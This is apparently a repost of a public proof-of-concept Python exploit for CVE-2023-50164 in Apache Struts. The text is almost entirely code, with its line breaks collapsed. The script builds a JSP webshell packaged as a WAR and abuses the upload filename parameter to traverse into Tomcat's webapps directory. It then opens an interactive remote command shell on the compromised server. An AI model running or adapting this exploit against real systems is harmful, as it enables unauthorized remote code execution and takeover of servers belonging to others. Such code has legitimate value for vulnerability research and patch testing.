CVE-2023-50164-Apache-Struts-RCE

https://xz.aliyun.com/t/13172

import osimport sysimport timeimport stringimport randomimport argparseimport requestsfrom urllib.parse import urlparse, urlunparsefrom requests_toolbelt import MultipartEncoderfrom requests.exceptions import ConnectionError
MAX_ATTEMPTS = 10DELAY_SECONDS = 1HTTP_UPLOAD_PARAM_NAME = "upload"CATALINA_HOME = "/opt/tomcat/"NAME_OF_WEBSHELL = "webshell"NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"NUMBER_OF_PARENTS_IN_PATH = 2

def get_base_url(url):    parsed_url = urlparse(url)    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))    return base_url
def create_war_file():    if not os.path.exists(NAME_OF_WEBSHELL_WAR):        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))        print("[+] WAR file created successfully.")    else:        print("[+] WAR file already exists.")
def upload_file(url):    create_war_file()
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):        print("[-] ERROR: webshell.war not found in the current directory.")        exit()
    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' +         CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR
    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
    files = {        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location    }
    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))    m = MultipartEncoder(fields=files, boundary=boundary)    headers = {"Content-Type": m.content_type}
    try:        response = requests.post(url, headers=headers, data=m)        print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")    except requests.RequestException as e:        print("[-] Error while uploading the WAR webshell:", e)        sys.exit(1)
def attempt_connection(url):    for attempt in range(1, MAX_ATTEMPTS + 1):        try:            r = requests.get(url)            if r.status_code == 200:                print('[+] Successfully connected to the web shell.')                return True            else:                raise Exception        except ConnectionError:            if attempt == MAX_ATTEMPTS:                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')                return False            time.sleep(DELAY_SECONDS)        except Exception:            if attempt == MAX_ATTEMPTS:                print('[-] Maximum attempts reached. Exiting...')                return False            time.sleep(DELAY_SECONDS)    return False
def start_interactive_shell(url):    if not attempt_connection(url):        sys.exit()
    while True:        try:            cmd = input("33[91mCMD33[0m > ")            if cmd == 'exit':                raise KeyboardInterrupt            r = requests.get(url + "?cmd=" + cmd, verify=False)            if r.status_code == 200:                print(r.text.replace('nn', ''))            else:                raise Exception        except KeyboardInterrupt:            sys.exit()        except ConnectionError:            print('[-] We lost our connection to the web shell. Exiting...')            sys.exit()        except:            print('[-] Something unexpected happened. Exiting...')            sys.exit()
if __name__ == "__main__":    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")    args = parser.parse_args()
    if not args.url.startswith("http"):        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")        exit()
    print("[+] Starting exploitation...")    upload_file(args.url)
    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")
    print(f"[+] Attempting a connection with webshell.")    start_interactive_shell(webshell_url)

https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCEhttps://xz.aliyun.com/t/13172